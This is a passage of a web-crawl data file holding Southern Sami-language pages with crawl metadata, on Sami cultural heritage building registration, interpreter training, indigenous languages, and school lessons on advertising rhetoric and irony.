dïsse.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185445\/resource:1:129014","date":"2019-04-19T17:21:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00245.warc.gz","language":"sma","language_score":0.9999601841,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.99996018409729}","num_words":67,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea laavenjostosne Rijhkeantikvaarine jïh Klijma- jïh byjresedepartemeentine damtijamme jïh registreradamme saemien gåetieh bigkeme jaepien 1925 åvtelen. Prosjekten aajkoe lea orreme bijjieguvviem åadtjodh vaarjelamme saemien gåetiej bijjeli Nöörjesne.\nProsjekteboelhken2011 raejeste lea registreradamme mahte 1000 gåetieh, Rørosen luvhtie åarjene Deatnun gåajkoe noerhtene.\nDæjstan mïetsken 29.b. galhkuvem dehtie saemien gåetieregistreradimmieprosjekteste mïerhkesjin Gállogieddi ålkoemuseumisnie Evenesen tjïeltesne. Kronprinse Haakon lij meatan mïerhkesjimmesne.\nGuvvie: Sølve (5 jaepieh) jïh Sofie (5 jaepieh) plåamsterh Kronprinse Haakonasse geelkieh (Guvvie: Jan Roger Østby).\n– Gállogieddi galhkuvem mïerhkesje aktede stoerre jïh vihkeles barkoste juktie mijjen saemien kultuvrehistovrijem vaarjelidh, Kronprinse Haakon jeahta sov håalemisnie.\n– Akte stoerre barkoe lea dorjesovveme juktie vihtiestidh saemieh daejnie sijjine hööllestamme jïh saemien histovrijem - Deatnun luvhtie noerhtene Rørosen gåajkoe åarjene, Kronprinse Haakon jeahta.\nGuvvie: Vuartasjæjjah Gállogieddi (Guvvie: Jan Roger Østby)\nSaemien kultuvrem jïh histovrijen våajnoes dorje\nSaemiedigkiepresidente Vibeke Larsen jeahta registreradimmieh viehkiehtieh saemien kultuvrem jïh identiteetem våajnoes darjodh dovne voengesne jïh abpe laantesne.\nLarsen jeahta registreradimmiebarkoe lea veanhtadimmieh sjugniedamme, dovne gåetieaajhteri jïh voenges siebriedahki luvnie juktie gåetide gorredidh båetijen aajkan.\n– Registreradimmiebarkoe lea våaromem bïejeme akten båetijen aejkien reeremasse gåetijste, jïh mijjieh tjoerebe Rijhkeantikvaarine jïh Klijma- jïh byjresedepartemeentine ektine daam vihkeles barkoem jåerhkedh, Larsen jeahta.\nGuvvie: Mïerhkesjimmien sjïekenisnie Kronprinse Haakon aaj Borrem vaaksjoeji Skånlandesne. Desnie kronprinse lïerehtimmiem praktihkeles dåvvomebarkoen bïjre åadtjoeji. Borrisne aktem laaroem dåvvoeminie gaskoeh 1800-låhkoste. (Guvvie: Mia De Coninck)\nVihkeles barkoe\nRijhkeantikvaare Jørn Holme jeahta Saemiedigkie aktem joekoen stoerre barkoem dorjeme juktie damtijidh jïh registreradidh saemien gåetieh mah leah bigkeme jaepien 1925 åvtelen.\n– Daelie saahtah bijjieguvviem dan bijjelen åådtjeme. Akte bijjieguvvie mij nuepie vadta daejtie gåetide hijvenlaakan reeredh. Mijjieh aktem daajroebaseradamme reeremem daarpesjibie, mejtie lea klijmapolitihken, sïejpen, mearoedajvi jallh saemien gåetiej bïjre, Rijhkeantikvaare Jørn Holme jeahta.\nHijven laavenjostoe\n– Mijjieh gaajhkh gåetieaajhterh, laavenjostoeguejmieh jïh jïjtjevyljehke barkijh gijhtebe öörnedimmien sjïekenisnie Gállogieddesne jïh Borrisne, Larsen jeahta.\nSaemiedigkiepresidente Vibeke Larsen jeahta Saemiedigkie lea abpe Saepmiem goerehtamme guvvieabparaatine, möölegebaantine jïh sjissapaehpierinie, gåetieh ovmessie vuekine vuajneme, almetjh råakeme jïh bïevnesh åådtjeme gåetiej bïjre.\n(Guvvie: Jan Roger Østby)\nLohkh vielie:","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Saemien-gaaetievaarjelimmie-Vihkeles-kultuvrehistovrije","date":"2019-04-26T09:45:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578765115.93\/warc\/CC-MAIN-20190426093516-20190426114610-00017.warc.gz","language":"sma","language_score":0.9999572039,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999572038650513}","num_words":311,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïele lea vihkele aalkoe-almetji identiteetese, kultuvrese jïh siebriedahkese. Veartenen aalkoe-almetji gïelh leah håvhtadamme daan biejjien.\nGïele vihkele\nGïele lea joekoen vihkele aalkoe-almetji kultuvrese jïh siebriedahkese. Gïele almetjen identiteetem, jïjtje-domtesem jïh ektievoete-domtesem nænnoste jïh åålmeh-tjïertese ektede.\nVeartanisnie jïjnjh vaenie-låhkoen aalkoe-almetji gïelh. Aalkoe-almetji gïeli jïjnjh baakoeh dovletje jieledi jïh jielede-dajvi bïjre. Stoere siebriedahke lea jïjnjem jeatjahtahteme dej minngemes jaepiej. Nimhtie aalkoe-almetji jieledh jïh kultuvrh aaj jïjnje jorkestovveminie, jïh nimhtie aaj gïeligujmie.\nAalkoe-almetji gïelh dejstie stuerebe ammes gïelijste tsavtsasovveme jïh gellene lehkesne dah gïelh håvhtadamme. Jis aalkoe-almetji gïelh nåhkieh dellie aaj jïjnjh veartenen almetji daajroem jïh maahtoem gaarvanieh eatnemen jïh jielede-vuekiej bïjre.\nGellie aalkoe-almetji gïelh leah UNESCO:n læstosne mij soptseste man håvhtadihks dah joekehts gïelh. Saemien gïelh aaj læstosne.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:192043","date":"2019-04-22T15:12:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00292.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":116,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daejnie laavenjassine edtjh filmh analyseradidh.\n1. Laavenjasse\nAnalyseredh filmem\nVideove-stuhtje bijjielisnie lea reklaame-filme dan nöörjen sïeltese Gilde. Vuartesjh filmem jïh barkh dan mænngan gyhtjelassigujmie.\nRetorihkeles tsiehkie: Gie jeahta maam gïese, gusnie, gåessie, guktie jïh man åvteste?\n- Mij filme-sjangeridie daate?\n- Gusnie vuejnebe dagkerh såarhts filmh?\n- Mij aajkoe filmine?\n- Mij dorjese man bïjre filme? Mij duakasåvva?\n- Mij filmen ulmie-dåehkide?\n- Gaavnh bïevnesh seedtijen bïjre gaske-viermesne.\n- Maam sïelte dorje?\n- Gusnie höölleste?\nHammoe jïh sisvege filmesne\nDahkoe filmesne:\n- Mejnie såarhts byjreskinie dahkoe sjugniehtåvva?\n- Buerkesth åenehkslaakan scenide mah leah meatan vaalteme filmesne.\n- Mah vuajnoeh åadtjobe almetjijstie jïh jieliedistie \"Rørosesne\"?\n- Maam eah vuesehth, vïenhth?\n- Mah rïektesvoete jallh fiksjovne mijjieh daesnie vuejnebe?\nSoptsestæjjah filmesne:\n- Mij lea faage-dïejvese åtnose soptsestæjja-gïeleste aktene filmesne?\n- Gïej soptsestæjja-gïele filmesne?\n- Gubpede soptsestæjjah båetieh? Maam smaare-gïelide nuhtjie?\n- Man åvteste raaktan daah almetjh soptsestæjjine veeljeme, vïenhth?\nDorjesen \"persovnelesvoete\"\n- Mij \"Gilde-image\"?\n- Mah jïjtsevoeth jïh aarvoeh utnijh edtjieh Gilde-mïerhkese ektiedidh?\nArgumentasjovne filmesne: etos, logos jïh patos\nMïsse seedtije stööremes leavloem beaja daennie filmesne – sov ussjedammesvoetem (etos) tseegkedh jïh domtesidie appelleradidh (patos), jallh bïevnesh aamhtesen bïjre (logos) vedtedh? Tjïelkesth vaestiedassem.\nTjïelkesth guktie seedtije daejtie viehkie-dïrregidie nuhtjie juktie ussjedammesvoetem tseegkedh, domtesh gåaskodh jïh\/jallh bievnedh:\n- veeljeme scenijste jïh byjresistie filmesne\n- soptsestæjja-gïelh\n- lustesvoete\n- musihke\n- dagke aaj jeatjah viehkie-dïrregh\nMïerhkevaaroe-bigkeme\nLohkh mïerhkevaaroe-bigkemen bïjre daesnie\nGoerehtimmie-teekste\nMïerhkevaaroe-darjojh sijhtieh maaje mijjieh edtjebe vihties positijve jïjtsevoeth sijjen dorjesidie ektiedidh. Maaje akte jïjtsevoete åvtese lutnjesåvva, jïh daate daamtaj dorjesåvva jïh guhkiem.\nJovkemes-produseente Red Bull mij jovkemesem dorje gaarsjelæjjide lea akte hijven vuesiehtimmie: Sïelte lea sponsovre gellie \"mavvas\" gaarsjelimmide goh ishockey, amerijhkanen juelkietjengkere jïh baasenjulhtjeme. Dïhte aaj latjkoeh åehpies gaarsjelæjjajgujmie åtna daej gaarsjelimmiej sisnjeli. Naemhtie akte guvvie Red Bulleste sjugniehtåvva goh jovkemes dejtie mavvasommes jïh bööremes gaarsjelæjjide, jïh dellie aaj aelhkie vïenhtedh Red Bull raaktan aaj dïhte ellen bööremes jovkemes. Jïh jis sïjhtebe ånnetji mavvas vååjnedh, maehtebe vuesiehtimmien gaavhtan aktem burhtjem Red Bulline jovkedh- maaje mearan mubpieh maehtieh mijjem vuejnedh.\nByjresen funksjovne reklaamesne\nReklaame-annonsine jïh filmine, byjreske jallh byjrese man sïjse akte vaaroe bïejesåvva, aktem vihkeles funksjovnem åtna. Evergood prïhtjege, vuesiehtimmien gaavhtan, edtja vååjnedh goh ånnetji dovres jïh dan åvteste dle iktesth dam prïhtjegem åehpiedahta ånnetji båeriesligke, joekoen tjaebpies byjreskinie. Mijjieh hov daejrebe dïhte mijjen onn'ohtje gåetieluhpie ij akten slåahtese jorkesh jalhts mijjieh jïjnjem Evregood-prïhtjegem jovkebe, jïh vaallah mavvas baase-njulhtjih jallh garmeres tjoejije-naestieh sjïdtebe jis Red Bull- jovkemesem jovkebe. Men nov gujht tsevtseme-faamoem åtna gosse numhtie dorje.\nSuetie-effekte\nMijjen aajla gidtjh veanhta gosse göökte aath (ovrehte) seamma tïjjen jïh seamma sijjesne sjugniehtuvvieh, dellie tjuara akte logiske ektiedimmie dej gaskem årrodh. Daate fenomeene gohtjesåvva kontiguitet lïerehtimmie-psykologijesne. Maahta baakoem guarkedh jïh jarkoestidh baakoejgujmie \"doehtedimmie, kraannavoete\". Mijjen mïele byjreskijstie mej sïjse akte dorjese bïejesåvva, dorjesasse laaneste. Daate suetie-effekte lea akte vihkeles bielie argumentasjovneste reklaamesne. Argumentasjovne-vuekie lea ovryöktesth dan åvteste lohkije jallh vuartasjæjja dïhte mij ektiedimmiem byjresen jïh vaaroen gaskem dorje, jïjtse åejjesne.\nEtos jïh patos\nDïhte mij sæjhta mïerhke-vaaroem sjugniedidh, tjuara seahkarimmiem (etos) tseegkedh jïh aktem domteseligke ektiedimmiem dorjesasse sjugniedidh (patos). Dorjese edtja mijjem jaehkiehtidh buerebe jallh læhkoesåbpoe damtedh. Mijjieh sjïere domtebe gosse aktene Ferrarisnie tjahkasjibie, jalhts dïhte rïektesisnie ij leah mij akt jeatjah goh akte bïjle. Jïh Red Bull gaektsieluhkie prosenth maarhkedeste åtna gaarsjelimmie-jovkemesidie, jalhts doh jeanatjommesh jeatjah jovkemesh daehtie såarhteste sån seamma nåhtoem darjoeh. Men eah leah dagke seamma mavvas. Dïhte ryöktesth argumentasjovne, rïektesvoete, vaenie sijjiem åådtje daajbaaletje reklaamesne. Ij dan åvteste kvaliteete jïh nåhtoe-aarvoe leah ovvihkeles, men dan åvteste dan gellie dorjesh maarhkedesne gååvnesieh guktie kvaliteete oktegh ij leah nuekies goh doekeme-argumeente – jïh dan åvteste mijjieh baajebe utnijh mijjem stuvredh mijjen domtesijstie tjerkebe goh maaje sïjhtebe meatodh.\n2. laavenjasse\nAnalyseredh göökte åenehks reklaame-boelhkh. Tjaangh Lerumen nedte-sæjroej sïjse jïh veeljh göökte åenehks reklaame-boelhkh.\nTjïelkesth\n- dam åenehks soptsesem jallh boelhkem mij soptsesåvva stuhtjesne\n- etos, patos jïh logos: guktie seedtije sov ussjedammesvoetem tseegkie, guktie stuhtjh domtesidie appelleradieh jïh guktie rïektesvoete soptsesåvva\n- guktie stuhtje mïerhke-vaaroem Lerum dåarjede\n3. laavenjasse\nAnalyseredh aktem reklaame-filmem.\nVuartesjh reklaamefilmem Viaplay – Pulp Fiction går att dansa till jïh analyseredh dam.\nTjïelkesth\n- dam retorihkeles tsiehkiem\n- sisvegem, dïjrem jïh viehkiedïrrege-åtnoem filmesne\n- guktie sisvege jïh viehkie-dïrregh seedtijen ussjedammesvoetem (etos) tseegkie, domtesidie vuartasjæjjaj luvnie appelleradieh (patos) jïh bïevnesh vaaroen bïjre vedtieh (logos)\nRetorihkeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181662\/topic:1:182394\/resource:1:181607","date":"2019-04-24T11:08:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578640839.82\/warc\/CC-MAIN-20190424094510-20190424120510-00547.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":658,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien ulmie duadtan lea jienebh vytnesjæjjah mah duedtiem jielieminie gïehtelieh. Saemiedigkie sæjhta duedtiem evtiedidh goh akte jieleme mij lea båetijen aajkan sjïehtedamme jïh mejnie fryöjstehte gïehtelidh, jïh sæjhta profesjonaliteete jïh dïeneste jieliemisnie læssanieh.\nDuodjeinstituhtta (DI) akte institusjovne guhkies aerpievuekiejgujmie jïh aktem vihkeles råållam vaarjelimmesne jïh evtiedimmesne duedteste. DI dïedtem åtneme öörnegen åvteste duedtiebïhkedæjjajgujmie gellie jaepieh jïh öörnege bïhkedæjjah feerhmie abpe Saepmesne.\n– Saemiedigkie uvtemes sæjhta daejredh mennie mieresne DI viehkehte Saemiedigkien ulmiem duedtine jaksedh. Sijhtebe aaj daejredh gïeh instituhten ovmessie faalenassh nuhtjieh, jïh man madtjeles utnijh leah faalenassigujmie. Saemiedigkien gaavhtan lea vihkeles vielie daejredh maam jielemebarkijh daarpesjieh, jïh mennie mieresne DI viehkehte jielemem daerpiesvoeth gorredidh. Saemiedigkie aaj sæjhta vielie daejredh mennie mieresne bïhkedæjjah dam maahtoem feerhmieh mij duedtiejieleme daarpesje, saemiedigkieraerie Berit Marie Eira jeahta.\n– Telemarksforskning sæjhta gaskesem vaeltedh vaeljehke vytnesjæjjajgujmie jïh jielemebarkijigujmie. Mijjieh haestebe gaajhkesh dovnesh Telemarksforskningem jïh dam barkoem dah edtjieh darjodh hijvenlaakan dåastoehtidh. Saemiedigkieraerie stoerre veanhtadimmieh åtna illedahkide evalueradimmeste, jïh mijjieh gegkiestibie evalueradimmie sæjhta akte hijven våarome årrodh juktie strategijide guhkiebasse vuarjasjidh jïh duedtiejielemem bæjjese fulkedh jïh evtiedidh, saemiedigkieraerie Berit Marie Eira minngemosth jeahta.\nJis gihtjehtimmiem sïjhth jallh dov leah gyhtjelassh, gaskesadth saemiedigkieraerie Berit Marie P.E. Eira, +47 913 28 626","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Evalueradimmie-Duodjeinstituhtteste-jih-duedtien-bihkedimmiedienesjijstie","date":"2019-05-25T05:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00204.warc.gz","language":"sma","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999963045120239}","num_words":188,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Joekoen luste jïh gijhteles ööhpehtimmie\nVïjhte studenth maehtieh daelie jïjtjemse feegredh tihtelinie åarjelsaemien toelhke. Akten jaepien tjïrrh dah leah aktem veele ööhpehtimmiem tjïrrehtamme toelhkebarkoen bijre. Naakede destie maam tjïertesti ööhpehtimmesne lij guktie edtja jienebi almetji gaskem toelhkestidh. Jis vïenhtih toelhkestimmie ajve lea jarkoestidh maam akte almetje don måbpan jeahta, dellie miste guarkah, gosse edtja toelhkine årrodh dellie tjuara jïjnjem krööhkestidh.\n– Goh toelhke tjoerh uvtemes gåabpegh gïelh mej gaskem edtjh toelhkestidh, joekoen hijven haalvedh. Edtja aaj buektiehtidh jiehtedh vielie goh dïhte mij jeahtasåvva. Aajmoe soptsestimmesne, guktie almetjh dam jiehtieh jïh jïjnje vielie. Aaj vihkeles veele årrodh, jïh jis jeatjah almetjh eah leah mahte aajhtseme gænnah toelhke lij desnie, dellie aktem hijven barkoem dorjeme, akte dejstie vïjhte studentijste, Stig Arne Somby tjielkeste.\nSjaevehtsvoetedïedte jïh nööjtraliteete\nDennie tjaaleldh eksamenisnie maam toelhkh toelhketeknihkesne utnin, dellie akte stoerre bielie lij guktie toelhke edtja barkedh juktie leajhtadimmiem sjugniedidh dej guejmiej luvnie mej gaskem edtja toelhkestidh. Daesnie akte teema lij nööjtraliteetem vuesiehtidh aktene toelhketsiehkesne.\n– Mijjieh libie lïereme ij ov-partiske årrodh men göökte-partiske. Gosse toelhkine barka dellie vihkeles barkoem darjodh göökte guejmide jïh ajve dan akten guajman. Tjuara aaj maehtedh njaelmiem steeredh dan bijre mij tjiehtjielisnie jeahtasåvva, sjaevehtsvoetedïedtem ållesth steeredh lea akte vihkeles bielie toelhkebarkoste, Somby tjielkeste, mij veanhta båetijen aejkien gosse jienebh gïelem lierieh, dellie sæjhta daerpiesåbpoe sjïdtedh toelhkedïenesjigujmie åarjelsaemien gïelesne.\n– Dej, mah åarjelsaemien ietniengïeline utnieh, lea reakta jïh lea reakta åtneme toelhkem nuhtjedh NAV:sne, pollisen luvnie jïh abpe byögkelesvoetesne, men daan raajan ajve akte fuelhkielïhtsege mij lea meatan orreme goh toelhke, vuesiehtimmien gaavhtan båarasåbpoe fuelhkielïhtsegidie. Vaenie jallh ij guhte maahtoem åtneme toelhkestidh nöörjen jïh åarjelsaemien gaskem, Somby tjielkeste.\nDïhte jïjtje dovne noerhte- jïh åarjelsaemien lïereme gosse geerve sjïdti, jïh dan mænngan mahte akte jieledelaavenjasse sjïdteme disse saemien gïeligujmie barkedh.\nLustes ööhpehtimmie\nSomby veanhta jis dovne nöörjen jïh åarjelsaemien hijvenlaakan haalvoe jïh toelhkeööhpehtimmiem vaalta dellie stoerre nuepieh åtna barkoem åadtjodh, jïh altese mïelen mietie dellie ööhpehtimmie lij akte murreds dååjrese.\n– Daate lea akte dejstie lustemes studijijistie maam vaalteme. Jïjnje dehtie ööhpehtimmeste lij råållaspïele gusnie akte dejstie meatanstudentijste vuesiehtimmien gaavhtan lij skïemtjije akten dåakteren luvnie jïh akte dejstie mubpieh studentijste lij akte nöörjen dïenestealmetje. Dïhte minngemes eksamene lij akte praktihkeles laavenjasse, akte råållaspïele mij lij mahte seammalaakan goh dïhte maam dorjeme dan jaepien tjïrrh. Munnien jïh mov åarjelsaemien meatanstudentide eksamene ij lij dan isveligke, jïh miijieh limh mijjem haasteme abpe tïjjem, jïh gosse eksamenese böötimh dellie gujht hijven gåaradi. Mijjieh limh jïjtjemem ryöjrehtamme daase jïh eksamenem dåhkasjimh gaajhkesh dovnesh. Aaj joekoen luste meatan årrodh gïelem evtiedidh. Mearan jeatjah gïelh daamtaj aktem evtiedamme terminologijem utnieh ovmessie faagesuerkiej sisnjeli, dellie mijjieh tjoerimh jïjtsh terminologijem evtiedidh, naakede mij lij joekoen gijhteles, Somby minngemosth jeahta, mij gegkeste jienebh ööhpehtimmiem vaeltieh goh åarjelsaemien toelhke.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/samimag.no\/se\/node\/1162","date":"2019-05-25T14:58:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258120.87\/warc\/CC-MAIN-20190525144906-20190525170906-00404.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":441,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh libie laejhtehks gosse maam akt jiehtebe maam jeatjebh eah edtjh jaehkedh. Dam maam soptsestæjja jeahta ibie edtjh guarkedh guktie jeahta. Soptsestæjja veanhta goltelæjjah edtjieh dam tjeakoes dïjrem guarkedh.\nKaanne tjidtjie jallh aehtjie jeahta gosse dov tjïehtjelasse tjaanga jïh ih datne annje hïnneme sjeakodh Datne joe sjyökeme? Aelhkemes laejhtehks baakoeh jïh raajesh guarkedh gosse soptsesteminie, men mijjieh maehtebe aaj laejhtehks årrodh gosse tjaelebe.\nSosiaale funksjovne\nMijjieh maehtebe laejhtehks ovmessie vuekine årrodh. Laejhtehks årrodh maahta aaj aktem sosiaale funksjovnem utnedh, jïh vuesehte gie meatan jïh gie ij leah. Gellie noerh laejhtehkem nuhtjieh. Jis akte voelpe dutnjien jeahta datne dan jåasoeh, dellie ij dïhte sïjhth datne edtjh dam jaehkedh. Datne hov guarkah dov voelpe sjelhkede, dan åvteste datne govlh guktie jeahta, men aaj vuajnah guktie dåemede. Kråahpen gïeline aaj vuesiehtibie jis mijjieh laejhtehks jallh ibie.\nMijjen seammaleejnes lustes-aajmoe?\nGosse voelph sinsitniem jarhpoedieh, eah dah sïjhth vuesiehtidh jeatjebh leah jåasoeh, men ajve sijhtieh lustestalledh.\nMujhtieh vååregelaakan årrodh jis datne ussjedh laejhtehks årrodh gosse dovne soptsesteminie jïh tjaelieminie. Eah gaajhkesh daarpesjh guarkedh datne laejhtehke, dan åvteste eah seammaleejnes lustes-aajmoem utnieh goh datne.\nGavsoeh\nJis datne gavsoeh dellie datne laavsh. Mejtie datne sïjhth vuesiehtidh gie akt jåasoeh, jallh datne sïjhth vuesiehtidh maam akt ij hijven. Jis mijjieh edtjebe gavsoeh årrodh dle maehtebe dovne gïelem jïh bolle-gïelem nuhtjedh.\nVuesiehtimmien gaavhtan mijjieh maehtebe naan baakoeh tjerkebe jiehtedh mearan tjelmieh jorpehke darjobe.\nGuktie vïenhth, manne maahtam daejredh dov lea pryövoe jirreden gosse ih soptsesth.\nDïhte mij gavsoeh, gellien aejkien maam akt halke jeahta. Gosse mijjieh libie gavsoeh dellie tjoerebe mujhtedh mijjieh maehtebe aaj jeatjebh iedtedh, jalhts ibie ussjedamme.\nSatijre\nSatijre aaj akte sjangere, mij romerh eelkin nuhtjedh. Dah satijrem nuhtjin dan åvteste dah sïjhtin åejvide jïh siebriedahke-tsiehkide laejhtedh. Men mijjieh maehtebe aaj satijrem nuhtjedh gosse edtjebe almetji haaltje-bieliem jïh nåake-bieliem vuesiehtidh. Mijjieh satijrem gaavnebe diktine, esseyine, romaanine, tv- jïh raadijove-saadteginie.\nBaakoeh\nSaemien\nDaaroen\nlaejhtehks\nironisk\nlaejhtehke\nironi\nsjelhkiedidh\nprate tull. tulle\nlustes-aajmoe\nhumor\ngavsoeh\nsarkasme\nhalke jiehtedh\nsi rett ut\niedtedh\nfornærme\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\n- Kjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:157746","date":"2019-05-25T10:15:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257939.82\/warc\/CC-MAIN-20190525084658-20190525110658-00132.warc.gz","language":"sma","language_score":0.9999848604,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999984860420227}","num_words":366,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien gåetievaarjelimmieprosjekte saemien gåetieh registrerede mah leah tseegkesovveme 1917 jallh aarebi, jïh man dan gaavhtan leah jïjtsistie vaarjelamme. Akte dejstie gåetijste Siellakvuotnesne \/Salangen gaavnebe, eekesne Fjelltun. Daesnie akte buvrie maam voestegh vïenhti lij tseegkesovveme 1800-låhkoen minngiegietjesne, jallh 1900-låhkoen aalkovisnie. Viehkine aktede vuekeste mij gohtjesåvva dendro-dateradimmie – sjïdtemegievliedateradimmie- meehti vihtiestidh buvrie raaktan lij bigkesovveme ovrehte 1845\/56, jïh ij leah dan gellie jeatjah saemien gåetieh mah leah dan båeries.\n– Doh jeanatjommesh dejstie ovrehte 900 gåetijste mejtie mijjieh registreradamme leah tseegkesovveme 1800-låhkoen minngiegietjesne jïh 1900-låhkoen aalkovisnie, jïh dan åvteste lissie sjollehke gosse dan båeries gåetieh gaavnebe goh daate gåetie Siellakvuotnesne\/Salangen, Mia De Coninck jeahta, prosjekten åvtehke Saemiedigkien gåetieregistreradimmieprosjektesne.\nDendro-ekologe Andreas Krichhefer, mij stillemen mietie Saemiedigkeste lea dïmperen aalterem goerehtamme dïmperasse. Mænngan gåetiem goerehtamme ålkoelistie, dellie bovresjimmiepryövah vaalta mah maehtieh maam akt jiehtedh ij ajve gåetien aalteren bïjre, men aaj ïebni jïh kvaliteeten bïjre. Daate dorjesåvva viehkine möönsterem sjïedtemegievline ryöknedh jïh analyseradidh. Vuesiehtimmien gaavhtan akte baahke giesie sæjhta gamte sjïdtemegievliem vedtedh, mearan akte galme giesie sæjhta giedtsies sjïdtemegievliem vedtedh.\nDehtie buvreste Siellakvuotnesne pryövah vaaltasovvin golme såekiestoehkijste, jïh pryövah vuesiehtin dah lin tjoehpedamme jaepiej 1844-46. Buvriem seapan bigkin varke dan mænngan.\n– Dïmpere akte vyörtegs ïebne maam maaje gellien aejkien nuhtjin. Dan åvteste gellie gåetieh mah stoehkh utnieh ovmessie aalterigujmie. Maehtebe maam akt lïeredh guktie almetjh dejpeli gåetieh jïh ïebnh gorredin jïh orresistie nuhtjin, faageåvtehke Saemiedigkien gåetievaarjelimmiegoevtesisnie Elin Rose Myrvoll jeahta.\nJienebh fåantoeh man åvteste daam vuekiem nuhtjie. Maahta årrodh dan åvteste jueriedisnie man båeries gåetie lea jïh mejtie dïhte lea tseegkesovveme vaarjelimmieraasten 1917 åvtelen jallh mænngan, jallh juktie vihtiestimmiem åadtjodh njaalmeldh bïevnesijstie aalteren bïjre.\nDejstie ovrehte 900 vaarjelamme gåetijste ajve sjïdtemegievliepryövah vaaltasovveme 14 gåetijste. Sjïdtemegievlie-dateradimmieh leah dorjesovveme daejnie tjïeltine (jïh man gellie gåetieh parentesesne): Gáivuotna\/Kåfjord (2), Ivgu\/Lyngen (2), Báhccavuotna\/Balsfjord (3), Siellakvuotna\/Salangen (2) jïh Kárášjohka\/Karasjok (5).\n– Gegkiestibie mijjieh maehtebe daam vuekiem nuhtjedh aaj båetijen aejkien juktie veelebe bïevnesh åadtjodh dej jïjtsistie vaarjelamme saemien gåetiej bïjre, Mia De Coninck 